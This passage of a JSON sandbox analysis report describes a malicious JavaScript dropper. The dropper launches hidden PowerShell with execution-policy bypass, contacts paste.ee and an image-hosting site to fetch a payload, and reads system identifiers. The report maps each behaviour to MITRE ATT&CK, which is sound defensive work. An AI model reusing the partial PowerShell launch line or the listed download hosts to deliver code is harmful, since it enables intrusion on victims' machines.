\"OpenMutexW\" with parameter \"Global\\.net clr networking\" - (UID: 00000000-00004012)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2a","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"WScript.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00002496)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"WScript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00002496)\n \"WScript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00002496)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00002316)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00002316)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"DEFAULTLEVEL\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"APPENDPATH\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"PATH\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to access recent files","description":"$2c","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-169","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$2f","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"WScript.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -command \"$Codigo = 'J\" - (UID: 00000000-00002496), \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -windowstyle hidden -executionpolicy bypass -NoProfile -command \"$ima\" - (UID: 00000000-00002316)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$30","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$31","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"172.67.187.200:443\"\n \"172.67.215.45:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx\"\n \"_SHuassist.mtx\"\n \"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking\"\n \"Global\\.net clr networking\"\n \"RasPbFile\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Executes Powershell command strings","description":"$32","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$33","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$34","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\9f895c66454577eff9c77442d0c84f71\\mscorlib.ni.dll\" at 67EC0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 74D70000\n \"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 74930000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 74D70000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 74930000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 772A0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 772A0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"0d000e001094c274@wshtcpip.DLL\"\n \"0e000f000094c274@wshtcpip.DLL\"\n \"0b000c00f493c274@wshtcpip.DLL\"\n \"09000a00e893c274@wshtcpip.DLL\"\n \"17001800d093c274@wshtcpip.DLL\"\n \"17001800b893c274@wshtcpip.DLL\"\n \"12001300a493c274@wshtcpip.DLL\"\n \"160017008c93c274@wshtcpip.DLL\"\n \"170018007493c274@wshtcpip.DLL\"\n \"120013006093c274@wshtcpip.DLL\"\n \"120013004c93c274@wshtcpip.DLL\"\n \"080009004093c274@wshtcpip.DLL\"\n \"0d000e001094c274@wship6.dll\"\n \"0e000f000094c274@wship6.dll\"\n \"0b000c00f493c274@wship6.dll\"\n \"09000a00e893c274@wship6.dll\"\n \"17001800d093c274@wship6.dll\"\n \"17001800b893c274@wship6.dll\"\n \"12001300a493c274@wship6.dll\"\n \"160017008c93c274@wship6.dll\"\n \"100011001849c474@DNSAPI.dll\"\n \"0b000c002c49c474@DNSAPI.dll\"\n \"0b000c003a49c474@DNSAPI.dll\"\n \"1500160098a3dc76@rasadhlp.dll\"\n \"1500160080a3dc76@rasadhlp.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"New-Object\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$35","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$36","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"powershell.exe\" (UID: 00000000-00002316) was launched with new environment variables: \"MEOW=\"%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\\"\"\n Process \"powershell.exe\" (UID: 00000000-00004012) was launched with modified environment variables: \"PSModulePath\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"paste.ee\"\n \"uploaddeimagens.com.br\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Reads configuration files (.ini files)","description":"\"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Renames files with double extension (often done by ransomware)","description":"\"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms~RFfb03c.TMP\"\n \"powershell.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms\" to \"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms~RFfcfe9.TMP\"","origin":"API Call","mitre_attack_id":"T1036.007","relevance":3,"id":"api-163","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$38","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$39","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"General","name":"Windows Script Host executes Powershell","description":"Process \"%WINDIR%\\System32\\WScript.exe\" started \"powershell.exe\" (UID: 00000000-00002316)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-321","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"WScript.exe\" creates a thread in process \"-1\" (Handle: 4294967295)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates new processes","description":"\"powershell.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\")","origin":"API Call","mitre_attack_id":"T1106","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"urlref_httpsuploaddeimagens.com.brimages004666683originaljs.jpg1700183864_webClient\" has type \"PNG image data 3840 x 2160 8-bit/color RGB non-interlaced\"- [targetUID: 00000000-00002496]\n \"77EC63BDA74BD0D0E0426DC8F8008506\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 66791 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"- Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00004012]\n \"77EC63BDA74BD0D0E0426DC8F8008506\" has type \"data\"- Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00004012]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"WScript.exe\" reads file \"c:\\windows\\system32\\wscript.exe\"\n \"WScript.exe\" reads file \"c:\\0517bf10dbb8a2078f9a7bccea9fab3012093f637568dadfc5410a7ffad41452.js\"\n \"WScript.exe\" reads file \"c:\\windows\\system32\\wshom.ocx\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"WScript.exe\" trying to touch file \"\\Device\\Afd\"\n \"WScript.exe\" trying to touch file \"\\Device\\RasAcd\"\n \"WScript.exe\" trying to touch file \"\\FileSystem\\Filters\\FltMgrMsg\"\n \"WScript.exe\" trying to touch file \"\\Device\\MountPointManager\"\n \"WScript.exe\" trying to touch file \"\\Device\\Nsi\"\n \"WScript.exe\" trying to touch file \"IDE#CdRomV1eK_CD-ROM_____________________________1.0_____#5&2117b2e5&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\"\n \"WScript.exe\" trying to touch file \"C:\"\n \"WScript.exe\" trying to touch file \"C:\\Windows\\System32\\sechost.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$3c","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"powershell.exe\" trying to access LNK file \"\\Device\\HarddiskVolume2\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"Z:\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"\n \"powershell.exe\" trying to access LNK file \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"\\Device\\HarddiskVolume2\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"\\Device\\HarddiskVolume2\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$3d","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$3e","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\u0a9651dlqgt4i9zn4r3.temp\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\hmj91t85mnxb5srg2nlh.temp\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\77ec63bda74bd0d0e0426dc8f8008506\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\77ec63bda74bd0d0e0426dc8f8008506\"\n \"powershell.exe\" writes file \"%localappdata%\\ow\\microsoft\\cryptneturlcache\\content\\77ec63bda74bd0d0e0426dc8f8008506\"\n \"powershell.exe\" writes file \"%appdata%\\microsoft\\windows\\recent\\customdestinations\\u0a9651dlqgt4i9zn4r3.temp\"\n \"powershell.exe\" writes file \"%localappdata%\\ow\\microsoft\\cryptneturlcache\\metadata\\77ec63bda74bd0d0e0426dc8f8008506\"\n \"powershell.exe\" writes file \"%appdata%\\microsoft\\windows\\recent\\customdestinations\\hmj91t85mnxb5srg2nlh.temp\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to communicate with HTTP server","description":"\"WScript.exe\" called \"WinHttpConnect\" to server \"paste.ee\" on port 443 (UID: 00000000-00002496)\n \"powershell.exe\" called \"WinHttpConnect\" to server \"ctldl.windowsupdate.com\" on port 80 (UID: 00000000-00004012)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-187","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to open a HTTP requests","description":"\"WScript.exe\" called \"WinHttpOpenRequest\" with parameter \"GET /d/4fbeW\" (UID: 00000000-00002496)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-188","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an interface (RPC)","description":"\"WScript.exe\" called \"RpcServerRegisterIf2\" (UID: 00000000-00002496)","origin":"API Call","mitre_attack_id":"T1021","relevance":3,"id":"api-219","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"\"WScript.exe\" called \"WinHttpSendRequest\" with parameters {\"hRequest\": \"3406b8\"\n \"dwHeadersLength\": \"0\"\n \"dwOptionalLength\": \"0\"\n \"dwTotalLength\": \"0\"\n \"dwContext\": \"3357488\"}\n \"powershell.exe\" called \"WinHttpSendRequest\" with parameters {\"hRequest\": \"453a730\"\n \"dwHeadersLength\": \"0\"\n \"dwOptionalLength\": \"0\"\n \"dwTotalLength\": \"0\"\n \"dwContext\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"WScript.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"3406b8\"\n \"lpReserved\": \"0\"}\n \"powershell.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"453a730\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload or download data from a specified domain","description":"file/memory contains long string with (Indicator: \"System.Net.WebClient\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1102.002","relevance":1,"id":"string-536","sources":[{"report_type":"sandbox","report_id":"6568e30d46fa6a508e01dd31"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: 